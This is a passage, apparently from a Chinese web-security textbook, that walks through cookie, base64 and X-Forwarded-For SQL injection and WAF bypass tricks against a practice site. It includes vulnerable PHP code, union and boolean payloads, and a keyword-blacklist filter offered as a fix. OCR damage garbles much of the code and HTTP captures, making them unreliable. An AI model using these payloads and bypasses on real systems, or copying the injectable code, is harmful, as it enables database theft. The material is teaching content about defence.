$ COOKIE获取参数ID，然后直接将ID拼接到select语句中进行查询，如果有结果，

则将结果输出到页面，代码如下所示。

<?php 

$id = $_COOKIE ［＇工d ’] ; 
$value="l"; 
setcookie (” id ”, $value); 
$con ＝『nysqli_connect （”localhost","root ＂， ” 「oot ” ， ” sql");

if (mysqli_connect_errno()) 

{ 
echo 叮圣接失败：” . my s qli_connect_e「「O「 （ ） ；

$「esult = mysqli_que「y($con,"select * from use「s whe「e 、 id 、 ＝＂ .$id);

if ( ！$「esult) { 

} 

pr、intf （” E「「O「 ： %s \ n ”， mysqli_e「「or ( $con)) ;

exit(); 

$「ow = mysqli_fetch_a「「ay($result);
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?>

echo $row [ ’ username'] 
echo "<br>”; 

．$「ow （’ passwo「d ' ] ; 

这里可以看到 ， 由于没有过滤cookie中的参数ID且直接拼接到SQL语句中 ， 所以

存在SQL注入漏洞。 当在cookie中添加id=l union select 1 , 2 ,3%23时， 执行的SQL语句

为：

select * from users where ‘ id ‘ =1 union select 1,2,3# 

此时， SQL语句可以分为select ＊企om users where 、 id、＝ 1和union select 1 , 2 , 3两条，

利用第二条语句（Union查询）就可以获取数据库中的数据。

4.2. 11 base64 注入攻击

测试地址： http://ccctf.cn/sql/base64/base64.php? id=MQ %3d %列。

从URL中可以看出 ， ID参数经过base64编码（%3d是＝的URL编码格式〉，解码后

发现白为l ， 尝试加上一个单引号并一起转成base64编码，如图4-59所示。

Z冒冒冒；！！

Base64 Decode 
• URLenc。de

份 URLdecode

HEX Enc。ding ”

HEX Decoding '" 

图4-59 对1 ’进行base64编码

当访问id＝ ！’编码后的网址时（ht甲：／／ccctf.cn/sql/base64/base64. php ?id= MSc%3 d ），页

面返回错误。 1 and 1 = 1和 l and 1 =2的base64编码分别为MSBhbmQgMTOx和MSBhbm

QgMTOy ， 再次访问id=MSBhbmQgMTOx和id=MSBhbmQgMTOy， 返回结果如图4-60

和图4-61所示。

L。ad URι 

Split URL 

10:1 
user:jaosi 
pass:7126871 

http://ccctf.cn/sql/base64/base64.php 
?id=MSBhbmQgMTOx 

now useselect • from users where id=1 and 1=1 

图4-60 访问 id=MSBhbmQgMTOx的结果



Load υRL 

Split URL 

Execute 
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http://ccctf.cn/sql/base64/base64.php 
?id=MSBhbmQgMTOy 

Enable Post data [ ] Enable Referrer 

now useselect *from users where id=1 and 1=2 

图4-61 访问］id=MSBhbmQgMTOy的结果

从返回结果可以看到，访问id=l and 1=1时，页面返回与id=l相同的结果，而访

问id=l and 1=2时，页面返回与id=l不同的结果，所以该网页存在SQL注入漏洞。

接着，使用order by查询字段，使用Union方法完成此次注入。

4.2.12 base64 注入代码分析

I J ＇－－ 飞
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… 

在base64注入页面中，程序获取GET参数ID，利用base64_decode（）对参数ID进行

base64解码， 然后直接将解码后的$id拼接到select语句中进行查询，通过while循环将

查询结果输出到页面，代码如下所示。

<?p hp 
$id = base64_decode($_GET ［’工d ’]); 
$conn = mysql_connect （” localhost ”，” root ＂，＂「oot ”） ; 

mysql_select_db (”sql ”, $conn); 
$sql = "select * from use「s whe「e id=$id"; 
$俨esult = mysql_query($sql); 
while （$「ow = mysql_fetch_ar「ay （$「esult)){ 

echo ” ID ：”．$「ow[' id ’］．”＜ b「〉” i

echo ” use「 ： ” ． $「ow ［’ use「name ＇］.”＜ br >"; 
echo ” pass ： ” ． $「ow ［’ passwo「d ’］．”＜ b「〉” i

echo ”< hr>"; 

mysql_close($conn); 
echo ” now use ” . $sql. ”＜ h 「〉” i

>

由于代码没有过滤解码后的$id，且将$id直接拼接到SQL语句中，所以存在SQL

注入漏洞。 当访问id=1 union select 1 2 3# （访问时， 先进行base64编码）时，执行的

SQL语句为：
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select ＊ 卡「om use「s where 、 id ‘ ＝1 union select 1,2,3# 

此时SQL语句可以分为select ＊ 台om users where 、 id、＝ 1和union select 1 ,2,3两条， 利

用第二条语句（Union查询）就可以获取数据库中的数据。

这种攻击方式还有其他利用场景，例如，如果有WAF，则WAF会对传输中的参

数ID进行检查，但由于传输中的ID经过base64编码，所以此时WAF很有可能检测不

到危险代码，进而绕过了WAF检测。

4.2 .13 XFF 注入攻击

xFF注入攻击的测试地址： http://www.ccctf.cn/sql/xff.php 。

通过Burp Suite抓取数据包容，可以看到JHTTP请求头中有一个头部参数

X-Forwarded-for 。 X-Forwarded-For简称XFF头，它代表客户端真实的IP，通过修改

X-Forwarded-for的值可以伪造客户端IP，将X-Forwarded-for设置为127.0.0.1 ，然后访

问该URL， 页面返回正常，如图4-62所示。

GET /sql/xf笠 .php 日T'l'P /1.1
恕。st< www ccct£ en 

14 E 丽百π工王丽。K

user-Agent ' M。 zilla/5 .0 (Hacint。sh; Intel Hae OS X 10.12 ; r.,53.0) 
Geck。／ 20100101 Firef。x/53.0

Date• Tue , 19 Dec 2017 09111:20 GMT 
Server: Apacho 
X-P。wared-By• PHP/5.6 . 30 

Accept 
text/html• applicati。n/xhtml+xml, applicati。n/xml ;q•O. 9, •/• ;q•O. 9 
Accept-Language zh-CN, zh, q•O. 9, en『US , q•O. 5, en;q-0 . 3 
Accept-Enc。d立ng• gzip, defla，巳＠
c。nnecti。n ' keep-alive 
X-F。 rwarded-f。x •12 7.0.0 .l 
upgrade-Insecure-Requests• 1 

图4-62 XFF头

Keep-Alive: tim•。ut•S, max•lOO 
c。nnec乞i。n: Koep-Alive 
c。ntent-Type: text/html; chorset•UTF-9 
c。ntent -Length• 23 

也••Ull • teaUlll<br> 

将X-Forwarded-for设置为127.0. 0.l ’，再次访问该URL，页面返回MySQL的报错

信息，结果如图4-63所示。

G町’aqlfxtt .php HT!'P川且

”。atz www .ccctf .en 
,,.,_.,.,, E 梢。dlla/5 0 t”acint。.. , tn<ol M•C OS x I0.12, rn’ l 0) 
。•ck。，20100101 Piraf。:11/Sl.O

Ac cap" 
""'/html, a pp lie 且tion/xht•lφ~l,opplka'1on/xml ,q•。，， •I ’··－· • 
Accapt-Lan"'"'" <h-CN"h,q•0 . 8,an-us,q’ 0 ······-· l 
Accept-Enc。din9' ''ip, dofln• 
c。nnacti。n• k .. p-aliva 
只－P。官唱’ardad-f。军 1127 o. o a ’ 
Upg<0do-tn .. oun-Roqu•m• 1 

Data1 Tua, 19 Dae 2011 091 山.. ""' 
Secvm Apacha 
x －，。”n••-•r• '"'"·"" 
民oap AliVO> ’~i－。ut_,, •ax•lOO 
c。 nnacti。n • KHp-Ali .. 
c。nunt-Typa• ta掷’~／ htal; char1et•U1'P-8 
c。ntant-lAn，也b i llifi 

Srror 1 to“ ova •• °''"' ia you< BOL •YB龟‘髦， e ll.eek 也h…·‘al tb. a、
e。rra 1p。...也。 1，。＝”’80L H rva< vanioa for tha righ’也.，....‘0 111• 
ne ar '' 127 .0. 。 .1·· ’ a龟 liJH l 

图4-63 访问×－Forwarded-fo 「： 127.0.0.1’的结果

将X『Forwarded-for分别设置为127.0.0.1 『 and 1 = 1时日 127.0 .0.1 ’ and 1=2＃，再次访问

该URL，结果如图4-64和图4-65所示。



GET /sql/xff . php HTTP/1.1 
日。a t• www ccctf en 
User-Agent ' M。 oillo /5.0 (Macint。 sh; Intel Mac OS X 10.12; r v 53.0) 
Gecko/20100101 Pirof。x/53.0
Accep℃ ： 

text/html, applicat止。n/xhtml+xml, applicatian/xml;q•O. 9, •I• ；＜罢’o . • 
Accept-Language' zh-CN, zh ; q•O. B ,en-US ; q• O. 5 , en ; q•O . 3 
Accept-Enc。ding• gz丰p, deflate 
Connecti。n ' keep- all ve 
X-P。rwarded-f。rol27.0.0.1' and 1•1# 
Upgrade-Insecure Requeets • 1 
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HTTP7亡了丁00 OK 
Date . Tue, 19 Dec 2017 09 , 15,09 GMT 
Server Apache 
X-P。wared-By • PHP/5.6.30 
Ke•p-Alive• time。ut•S, max•l OO 
c。nnec ti。n ' Keep-Alive 
c。ntent-Type ' text/html; charset•UTP-B 
c。ntent-Length • 23 

testlll • testllll <br> 

图4-64 访问X-Forwa 「ded-fo「： 127.0.0.1 ’ and 1=1＃的结果

GET /Bql/xff. php RTTPll l 
日。st• www ccc ,£. cn 
User-Agent< M。z立lla/ 5 0 (Macint。sh ; Intel Mac 。S x 10.12; rv.53.0 ) 
Gecko/20100101 Piro£。x /53 . O 
Accept 
toxt/html, application/ xhtml+xml , applicati。n/xml,q•O 9, • / *,q-0.B 
Accept-Language• zh-CN,zh;q-0 8 , e n US;q•O 5,en;q•0 . 3 
Accepo-Enc。ding• gzip, deflate 
c。nnecti。n ' keep- alive 
X田F。rwarded-f。r . 127.0 . 0.l ’ and 1•2# 
Upgrade-Insec ure-Requests' 1 

‘ 四凹7T.T2丽。K
Date Tue, 19 Dec 2017 09'15'52 GMT 
Server ' Apache 
X-P。wared-By• PHP/5 .6 30 
Keep-Alive ' time。ut•S , mox•lOO 
c。nnocti。n ' Koop-Alive 
c。ntont-Type • text / html; charsat•Ur.-B 
c。ntent-Length• 8 

自 ＜br>

图4-65 访问×－Forwa「ded-fo 「： 127.0.0.1 『 and 1=2＃的结果

通过页面的返回结果，可以判断出该地址存在SQL注入漏洞，接着可以使用order

by判断表中的字段数量， 最终测试出数据库中存在4个字段，尝试使用Union查询注

入方法，语法是X-Forwarded-for:127 . 0.0.l' union select 1 , 2 , 3 ，付，如图4-66所示。

GET / Sql/X歪笠. php HTTP! i i 
m。at . www ccctf.cn 
user-Agent< M。zilla/5.0 (Mac ... ntoah; Intel Mac OS X 10 12 ; rv . 53.0) 
Geck。 /20100101 Piref。•X / 5) 0 
Accept< 
也ext/html, applica1巳i。n/xhtml+xml, applicati。n/xml;q•O 9,'/• ; q，。..

Accept-Language' zh-CN, zh;q•O 8, en-US; q•O . 5 ，。n,q•0 .3

Accepo-Encoding• gzip, deflate 
c。nnecti。 n· keep alive 
X-P。rward。d-f。＂－121.0.0 . 1· uni。n select 1,2 , 3,4# 
Upgrade-Insecure-Requests ' 1 

图4-66 使用 Union注入

接着，使用Union注入方法完成此次注入。

4.2.14 XFF 注入代码分析

4 HTTP/l . 1 200 OK 
Dato• Tue, 19 Dec 2017 09•18•06 GMT 
Serve n Apache 
X-Powered By PHP/5.6 . 30 
Keep-Alive ＇乞imeout•S, mex•lOO 
c。nnecti。n . Keep-Alive 
c。ntont-Type text / html; chorset• UTF-B 
Content-Length • 10 

2 • J <br> 

PHP中的getenv（）函数用于获取一个环境变量的值，类似于$ SERVER或$＿ENV,

返回环境变量对应的值，如果环境变量不存在则返回FALSE 。

使用以下代码即可获取客户端IP地址，程序先判断是否存在HTTP头部参数

HTTP_ CLIENT _IP ， 如果存在，则赋给$ip ， 如果不存在，则判断是否存在HTTP头部

参数HTTP_X _FORWARDED _FOR，如果存在，则赋给$ip，如果不存在， 则将HTTP

头部参数REMOTE_AD DR赋给$ip 。
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<?php 
$con=mysqli_connect("localhost",” root ”," root ”,“ sql ”); 

i手（mysqli_connect_errno())

{ 
ech。”连接失败： ”. mysqli_connect_e「「O「（）；

if(getenv (’ HTTP _CLIENT_IP ’)){ 
$ip = getenv ( ’HTTP_CLIENT_IP ’); 

} elseif (getenv (’ HTTP_X_FORWARDED_FOR ’)){ 
$ip = getenv (’ HTTP_X_FORWARDED_FOR'); 

} elsei手（ getenv （’ REMOTE_ADDR')) { 

$ip = getenv (’ REMOTE_ADDR ' ); 

} else { 
$ip = $HTTP_SERVER_VARS [’ REMOTE_ADDR']; 

} 
$「esult = mysqli_quer、y($con ，” select * fr、om use「 where 、 ip 、＝’ $ip ＇ ＇’） ; 
if ( ！$「esult) { 

} 

printf （” E 「「O「： %s\n ”， mysqli_e「「or($con));

exit(); 

$「ow = mysqli_fetch_a 「「ay （$「esult);

echo $「ow ［’ use 「name'] .”：“．$「ow ［’ passwo「d ’］ ; 
echo ”＜ b「〉”；

?>

接下来， 将$ip拼接到select语句， 然后将查询结果输出到界面上。

由于HTTP头部参数是可以伪造的，所以可以添加一个头部参数CLIENT IP或

X_FORWARDED_FOR。 当设置X_FORWARDED_FOR =1' union sel巳ct 1 ,2,3%23时，

执行的SQL语句为：

select ＊ 卡「om use「 where ‘ ip ‘＝’ 1' union select 1,2,3#' 

此时SQL语句可以分为select * from u ser where ‘ ip、＝’ 1’和union select 1 ,2,3两条， 利

用第二条语句（union查询）就可以获取数据库中的数据。

4.3 SOL 注入绕过技术

4.3 .1 大小写绕过注入

大小写绕过注入的测试地址： http : //ccctf.cn/sql/1.php?id= 1 。
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访问id=l’，发现页面报出MySQL错误，当访问id=l and 1 =1 时，页面返回“no hack”, 

显然是被拦截了，说明有关键词被过滤。使用关键宇大小写的方式尝试绕过，如And

1=1 （任意字母大小写都可以，如aNd 1=1. AND 1=1等），可以看到访问id=l And 1=1 

时页面返回与id=l相同的结果，访问id=l And 1=2时页面返回与id=l不同的结果，得

出存在SQL注入漏洞的结论，如图4-67和图4-68所示。

GET 7sql/L php?id"f-i'And+l-'I TT垂71.1
日。st: ccctf. en 
User - Agent: Mozilla/5. O (Mac int。sh; Intel Mac os X 
10 . 12; rv : SJ.O) Geck。／20100101 Piref。x/53. 0 
Accept: 
text/html, applicati。n/xhtml+xml, applicati。n/xml ; q霉0.9 ，•／禽
;q•O. B 
Accept-Language : zh-CN, zh;q=O . B ,en-US; q•O. 5, en ; q=O. 3 
Accept-Enc。ding: gzip, deflate 
c。nnect立。n: keep-alive 
Upgrade -Insecure- Requests: 1 
Cache-c。ntr。1: max-age=O 

图4-67 访问id=l And 1=1的结果

.l g HTTP71-:-1一气200 OK 
Server: nginx/1. B .1 
Date : Sat, 02 Dec 2017 17:09:24 GMT 
c。ntent-Type: text/ht ml ; charset•UTF『s
c。nnec乞i。n : keep- alive 
Vary : Accept-Enc。ding
X-P。wered-By: PHP/5. 6. 30 
c。ntent-Length : 3 7 

admin 1 admin<br> 

GET I sql/ 1. php ?id•l+And+ 1=2 日TTP/1.1
日。st: ccctf.cn 

~ I 丽。＇ff. I 罚百。K
Server: nginx/ 1. B. 1 

User-Agent· H。zilla/5.0 (Macin乞。sh; Intel Mac OS X 
10 . 12; rv:53.0) Geck。／20100101 Firef。x/53. O 
Accept: 
text/html, applicati。n/xhtml+xml, applicati。n/xml;q=O . ’，食／＊
;q-0.B 
Accept-Language: zh-CN, zh ; q•O. B, en-US; q•O. 5 , en; q•O. 3 
Accept-Enc。ding: gzip , deflate 
c。nnecti。n: keep-alive 
Upgrade-Insecure町Requests: 1 
cache-c。ntr。1: max-age•O 

图4-68 访问id=l And 1=2的结果

Date: Sat, 02 Dec 2017 17:09 :50 GMT 
c。n乞ent-Type: text/html; charse乞•UTP-8
c。nnecti。n: keep-alive 
Vary : Accept-Enc。ding
X-P。wered-By: PHP/5.6.30 
c。nten乞－Length: 27 

' <br> 

使用order by查询字段数量，发现还是被拦截了，如图4-69所示，还是利用修改

关键字大小写来绕过它，尝试只改order这个单词，结果发现当order改成Order后，页

面显示正常，说明by并没有被拦截，如图4-70所示，最终通过尝试，发现数据库表中

存在3个字段。

GET /sql/l.php?id=l+。rder+by+l HTTP/1.1 
日。st: ccctf. cn 
User-Agen乞： H。zilla/5.0 (Macint。sh ; Intel Mac 。s K 
10.12; rv : 53 . 0) Geck。／20100101 Piref。x/53.0
Accept: 
text/html, applicati。n/xhtml+xml , applicat i。n/xml; q•O. 9,‘/· 
;q•O. B 
Accept-Language: zh-CN, zh;q•O. B, en-US;q•O. 5 ,en;q=O. 3 
Accept-Enc。ding· gzip, deflate 
c。nnecti。n: keep-alive 
Upgrade-Insecure-Requests : 1 
Cache-C。ntr。l: max-age•O 

图4-69 order by被拦截

i7 E 百百瓦工万0 OK 
Server: nginx/l. B . 1 
Date: Sat, 02 Dec 20 17 17 :12 :50 GMT 
c。ntent-Type: text/html; charset=UTF-8 
c。nnecti。n : keep-alive 
Vary: Accept-Enc。ding
X-P。wered-By: PHP/5 . 6.30 
c。ntent-Length: B 

a。 hack !
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GET /sql/l.php?id-1+。rder+b守＋3 HTTP / 1. 1 
日。 st: ccctf . en 
User-Agen t: M。zilla/ 5 . O (Mac in乞。 sh ; Intel Mac OS X 
10. 1 2; r v · SJ. O) Gecka/20100101 Fire £。x/5 3 . 0
Accept : 

• E 百ffi:T:IOO OK 
Server : nginx / l B. l 
Date: Sat, 02 Dec 20 1 7 1 7 : 15 : 02 GMT 
c。nten乞－Type : text/ html ; cha r set • UTP-B 
c。nnect i。n : keep- a live 

text/html , appllcati。n /xhtml+xml , applicoti。n/xm l; q•0.9,*/•
; q-0 . B 

Vary : Accept -Enc。ding

X吗？。wered-By PHP/5 . 6 . 30 
c。ntent-Length: 37 Accept-Language: zh-CN , zh ; qaO. B, en-US ; qaO. 5, en ; q~o. 3 

Accept-Enc。ding: gzip, deflate 
c。nnecti。n : keep-alive 
Upgrade -Insecure-Requests : 1 
Cache-C。ntr。l max-age~o 

图4-70 0「de「 by没被拦截

a dmu • admin<br> 

接着，使用Union方法完成此次注入，如果仍然遇到关键字被拦截，则尝试使用

修改大小写的方式绕过拦截。

4.3.2 双写绕过注入

双写绕过注入的测试地址： http : //ccctf.cn/sql/2.php?id= 1 。

访问id=l ＇ ， 发现页面报出MySQL错误，接着访问id=l and l=l ，页面依然报出

MySQL的错误，但是从错误信息中可以看出，输入的and l=l变成了 l = l ，如图4-71

所示。

GET /sqL/2.php71d’ L+and+l•l HTTP/l l 
”。at : ccct乞 .en
uoer->qsnto Kozilla /S. O （”acint。ah, In也el Mac os x 
10 12; r"S) . 0) Geck。/20100101 F!rsf。x/53 . o 
Accept< 
tax t /html, applic ation/xhtml+xml, applicat止。n/xml,q•0.9,./•
,q•O . 8 
Accepo-Lanquage ' •h-CN, zh ; q•O . 8 ,en-US;q•O .S , en , q•O 3 
Ac cap 二－Enc。din9 • q'1p , defla也＠
c。nnect车。n : keep ” alive 
Upqrade-Insecurs-R oqu ＂龟. . 1 
cache-c。ntr。l : max-ogs•O 

图4-71 关键字and被过洁、

. . 请亏百τT丁丽 OK
Sarven nqinx / l.8.1 
Data: sun, 03 Dec 2017 07:24 ‘ 52 GMT 
c。n也ent-Type' text/html; chareet•UTF-8 
Connecti。n : keep-olive 
vary: Accept-Enc。dinq
X-F。wered-By1 PHF/5 6 . 30 
c。ntent-Lenqth• 157 

Brr。＂ 窜。u have an err。z in y。ur SQL •ynta葛； chock the 
manual that c。rrea，。... t。 your F咛营冒冒·『orver voro i。a
宏。x 龟ha right aynta葛 t。 us e uoq l • l lat lino l 

因此可以得知，关键宇and被过滤了。这时尝试使用双写的方式绕过，如anandd

l = l ， 当and被过滤后， anandd变成了and，所以这时传入数据库的语句是and 1=1 ， 结

果如图4-72所示 ， 成功执行并返回正常页面。
GET /sql /2 . php?id•l+anandd+l•l HTTP/1. l 
H。 st: ccctf.cn 
User-Agent : M。 zilla/5 . 0 (Mac int。s h; Intsl Mac 。s x 
10.12; rv : SJ OJ Geck。/20100101 Fire £。x/53. 0 
Accept: 
text/html, appllcati。n/xhtml+xml , applicati。n/xml;q-0. 9 ,’/* 
;q•O. B 
Accept-Language: zb-CN,zh ; q-0.B , en-US;q•O.S,en;q•O 3 
Accept -Enc。ding: gzip, deflate 
c。nnecti。n. keep-alive 
Upgrade-Insecure-Requests: 1 
Cache-c。ntrol · max-age•O 

图4-72 关键字anandd被过滤后正确执行

HTTPT1 :l200 OK 
Server: nginx/l. 8. l 
Date : sun, 03 Dec 2017 07 : 27 :3 4 GMT 
c。ntent啕Type : text /html ; charset•UTP-B 
c。nnecti。n : keep-alive 
vary: Accept-Enc。ding
X-P。wared-By : PHP/ S. 6 . 30 
c。ntent-Leng乞h : 4 7 

admin • a dmin<br> 
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接着，输入aandnd 1=2，返回错误信息，判断页面参数存在SQL注入漏洞。当访

问id=1 order by 3时， MySQL的错误信息为“derby 3 ”，如图4-73所示，所以这里并

没有过滤order整个单词，而是仅过滤or，因此只需要双写or即可，结果如图4-74所示。
GET /sql/2.php?id属1+。rder+by+J HTTP/I l 
ll。st : ccctf .en 

4‘ S HTTP/l l 200 OK 
server• nginx/l.8 l 

U•er Aqent Mozilla/5. 0 (Mac int。•h. Intel Mac 。s x 
10.12; rv.SJ 0) Geck。／20100101 Firef。x/53 O 
Accept< 
tex也／h也ml , applicati。n/xhtml+xml, applicati。n/xml,q•O 9.'/• 
;q•0.8 
Accept-Lanquaqe • 'h-CN, 'h;q-0 8, e n- US, q•O. 5,en, q•O. 3 
Accep1巳－Enc。dinq • q＇豆p, de乏late
c。nnecti。n • keep-alive 
Upqrade-Insecure-Requests' l 
cache-c。ntr。l • max-aqe•O 

图4-73 过滤了关键字or

GET /sql / 2.php?idsl+。。rrder+by+3 日TTP / 1.1
Host: ccctf.cn 
user-Agent 1 M。zilla/5. 0 (Mac int。sh; Intel Mac OS X 
10.12; rv:S3.0 ) Geck。／ 20 100101 Fire£。x/53. O 
Accept 1 
text/html, applica乞且。n/xhtml+xml, applicati。n/xml;q*0 . 9 ，•／金
;q•O. 8 
Accep乞 Language· zh CN,zh;q•0.8,en-US;q•O.S,en;q•0.3 
Accept-Enc。ding: gzip, deflate 
c。nnection: keep-alive 
Upgrade-Insecure-Requests: 1 
Cache-c。ntr。l: msx- age=O 

图4-74 双写关键字0「

后面的注入过程与Union注入的一致。

4.3.3 编码绕过注入

Date • s un, 03 Dec 2017 07-32,02 GMT 
c。ntent-Ty归 g text/html; charset•UTF 8 
c。nnec龟i。n ' keep-alive 
varY' Accept-Enc。d止ng
X-P。wered-By ' PHP/5 . 6 JO 
c。ntant Lenqth· 162 

Jlrror B 宫。u have an err。r in y。ur SQL syutu; check the 
manual that corresp。... t。 y。ur MySQL ••rver ver＆止。.
£。x the right ‘yntu 乞。‘＆o neor 'der by 3 ’ e t line l 

A I HTTP/1.1 200 OK 
Server: nginx / 1. 8. 1 
Date: Sun, 03 Dec 2017 07:35:05 GMT 
c。nten龟－Type: text/html; charset• UTF-8 
c。nnecti。n: keep-ah ve 
vary : Accept-Enc。ding

X-P。wared-By: PHP/5. 6. 3 0 
c。ntent-Length: 4 7 

admi11 1 admi•且＜hr>

编码绕过注入的测试地址： htφ：／／ccctf.cn/sql/3.php?id=1 。

访问id=l ’，发现页面报出MySQL错误，接着访问id= 1and1=1和id=l and 1=2时，

发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对

URL进行一次URL解码，所以需要把关键词编码两次，这里需要注意的地方是， URL

编码需选择全编码，而不是普通的URL编码。如图4-75所示，关键字and进行两次URL

全编码的结果是%25%36%31 %25%36%65%25%36%34 ，访问 id=1%25%36%31 % 

25%36%65%25%36%34 1=1 时，页面返回与id=l相同的结果，如图4-76所示，访问

id=l %25%36%31 %25%36%65%25%36%34 1 =2时，页面返回与id=l不同的结果，如

图4-77所示，所以该网址存在SQL注入漏洞。
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图4-75 两次URLJ肩码关键字and

GET /sql /3, php?id•l+‘ 25‘ 36‘ 31‘ 25‘ 36‘ 65'25‘36‘ 34+1"1 
HTTP/l. l 
H。＆to ccctf.cn 
user-Agent' H。zilla/5 .0 (Macint。sh; rn1巳el Mac OS x 
10.12 ; rvoSJ.O) Geck。／ 20100101 Piref。x/53. 0 
Accept• 
乞ext/html, applicati。n/xhtml+xml, applic ati。n/xml;q•0.9, •/• 
;q-0. 9 
Accept-Language' zh-CN, zh; q•O . 9 , en-US;q•O. 5 ,en;q’ o .] 
Accept-Enc。ding' gzip, deflate 
c。nnecti。n ' keep-olive 
Upgrade-Inaecure-Request&o l 
Cache-C。ntr。l o max-age•O 

图4-76 访问id=l and 1=1时的结果
GET /sql /J .php?id•l+‘25'36‘31\25‘36\65惠25‘36‘34+1•2
日TTP/1.1

嚣。st : ccctf. en 
User - Agent: M。zilla/5.0 (Macint。sh; Intel Mac 。s x 
10.12; rv:SJ . 0) Geck。／20100101 Piref。x/53. 0 
Accept : 

4 I HTTP7l.°τE百o 。K
server 1 nqinx/L 9. l 
Oateo Mon, 04 Dec 2011 05:21:32 GMT 
c。ntent-Type: text/h也ml; charset’ UTP-9 
c。nnecti。n: keep-alive 
vary : Accept-Encoding 
X-P。wared-By• PHP/5.6 . 30 
c。ntent-Length. 57 

adalin 1 ads>i n<br> 

I• ’ HTTP/l.1 200 。K
Servero nginx /l. 9 . 1 
Dato· ”。n, 04 Dec 2017 05:22:39 GMT 
c。ntent-Type : text / html; charset•UTF-9 
c。nnecti。n : keep- alive 
vary· Accept-Enc。ding

text/html, applicati。n/xhtml+xml, applicati。n/xml;q•O 9,•/• 
;q•0.8 

x-P。wared-By: PHP / 5.6.30 
c。nten1巳－Length : 47 

Accep t-Lan guage 1 zh-CN , zh, q •O . 8 , en-us ;q~o. s, en ; q•O . 3 
Accept-Enc。ding: gzip, deflate 
c。nnecti。n: keep- alive 
Upgrade- I nsecure-Reques1巳. . 1 
Cache-C。ntr。1: max-age•O 

图4-77 访问id=l and 1=2时的结果

I <br> 

后面的注入过程与Union注入的一致，只需判断过滤的关键词， 并经过两次URL

全编码即可。
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4.3.4 内联注释绕过注入

内联注释绕过注入的测试地址： h句：／／ccctf.cn/sql/4.php?id=1 o 

访问id=l’，发现页面报出MySQL错误，接着访问id= 1 and l=l和id=l and 1 =2时，

发现页面提示“no hack ”，即关键宇被拦截。尝试使用内联注释绕过。 内联注释的相

关内容在介绍MySQL的知识点时讲解过。访问id= l /* !and＊门＝ l时，页面返回与id=l

相同的结果：访问id=l /* !and*/ 1=2时， 页面返回与id=l不同的结果，如图4-78和图4-79

所示。

GET 再面工／豆函hp?l画面；－n7石 r..:n司豆l+i-1 HTTP/1.1 I• 
E。st: ccctf .cn 
User - Agent: M。 zilla/5.0 (Macint。sh ; Intel Mac 。s x 
10.12; r v:S3 .0 ) Geck。／ 20100101 Fire£。x/53.0

Accept: 
tex乞／html, applicati。n/xhtml+xml, applicati。n/xml ;q=0 . 9 , •/•

;q=O.B 
Accep乞咱－Language: zh-CN, zh; q-0. 白 ， en-US;q=0 . 5,en;q-0.3
Accept-Enc。ding: gzip, deflate 
c。nnecti。n : keep-alive 
Upgrade-Insecure-Requests: 1 
Cache -c。ntr。1 : max-age=O 

图4-78 访问id=l 尸！ and */ 1=1时的结果

GET /sql/4.php?id=l+／叫 and町+1=2 HTTP/1.1 I• 
n。 st: ccctf .cn 
User-Agent: M。zilla/5.0 (Macint。sh; In乞el Mac OS X 
10 . 12; rv:S3 . 0) Geck。／20100101 Firefox/53 . 口

Accept : 
text/html,applicati。n/xhtml+xml,applicati。n/XInl;q=O. 9, •/’ 
;q=O.B 
Accept-Languag问a: zh-CN,zh ; q=O.B,en-US ; q=O.S , en;q=0 . 3 
Accept -Enc。ding: gzip, deflate 
c。nnecti。n : keep-alive 
Upgrade-Insecure-Requests: 1 
Cache-c。ntrol: max-age=O 

图4-79 访问id=l / *!and*/ 1=2时的结果

后面的注入过程与Union注入的一致。

4.3.5 SOL 注入修复建议

常用的SQL注入漏洞的修复方法有两种。

1 . 过滤危险字符

HTTP/1.1 200 OK 
Server: nginx/l. B .1 
Date: M。n, 04 Dec 2017 06 : 24:21 GMT 
c。ntent-Type : text/html; charset=UTF- B 
c。nnect立。n : keep-alive 
Vary: Accept Enc。ding
X-P。wered-By: PHP /5.6. 30 
c。ntent-Length: 37 

admin 1 admin<br> 

HTTP7i ;y~ ：；！（） (j OK 
Server : nginx/1. B .1 
Date: M。n, 04 Dec 2017 06:26:33 GMT 
c。ntent-Type: text/html; charset•目UTF- B

c。nnecti。n: keep-alive 
vary : Accept-Enc。ding
X-P。wered-By: PHP/5.6.30 
c。ntent-Length: 27 

I <br> 

多数CMS都采用过滤危险字符的方式，例如，采用正则表达式匹配union, sleep 、

load file等关键字，如果匹配到，则退出程序。 例如80sec的防注入代码，如下所示。
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functionCheckSql($db_str、ing,$quer、ytype= 'select')

{ 
global$cfg_cookie_encode ; 
$clean=''; 
$erro「＝’ E ; 

$old_pos＝ θ； 

$pos= -1; 
$log_file= DEDEINC. ’ I .. /data/' . md5($c卡g_cookie_encode). '_safe . txt ’; 
$use「IP= GetIP(); 
$getu「l= GetCurUrl(); 
／／如果是普通查询语句，直接过滤一些特殊语法

if($querytype==’ select ') 

{ 

$notallowl＝”［＂0-9a-z＠＼.二］｛ 1, }(union I sleep I bench ma「klload_filelout于ile)["0-9a-z@\

.”]{1 ,}”; 
//$notallow2 =”--| /\*” i 
if(pr、eg_match （”／＂. $notallowl. ”／ i ＇’， $db_st「ing))

{ 
fputs(fopen($log_file ，’ a＋’），”$use「IP 11 $getur、ll l$db_st r、i ng 11 SelectB「eak＼「＼n ”） ; 

exit （”〈卡ont size＝’ 5 ’ color、＝’「ed'>Safe Ale「t: Request Er「O「 step

1 !</ font>"); 

} 
} 
／／完整的 SQL 检查

while(TRUE) 

{ 
$pos=st「pos($db_st「ing, '\’', $pos+ 1); 

if($pos=== FALSE) 

{ 
b「eak;

$clean.=subst「（ $db_st「ing,$old_pos ,$pos-$old_pos);

while(TRUE) 

{ 
$posl=st「pos($db_string，’ ＼ ＇ ',$pos+ 1); 

$pos2=st「pos($db_st「ing，’＼＼’， $pos+ 1); 

if($posl=== FALSE) 

{ 
break ; 

函’



elsei卡（ $pos2== FALSE 11 $pos2>$posl) 

{ 
$pos=$posl; 
b「eak;

$pos=$pos2+ 1; 

$clean.='$s$ ’ j 

$old_pos=$pos+ 1; 

$clean.=subst「（ $db_string,$old_pos);

第4幸 Web安全原理剖析 ‘ 133 

$clean= t 「im(st「tolowe「（ p「eg＿「eplace(a 「「ay （’～＼ s＋～s'),ar「ay （，’）， $clean)));

／／老版本的 问ySQL 不支持 Union，常用的程序里也不使用 Union，但是一些黑客使用它 ， 所以

要检查它

i手（ strpos($clean ，’ union ’ ) ! == FALSE && 

pr、eg_match （’～（ ＂ I [ "a-z])union($ j [ <[ a-z ])~s',$clean) ！＝ θ） 

{ 
$fail= TRUE ; 
$er「O「＝” union detect"; 

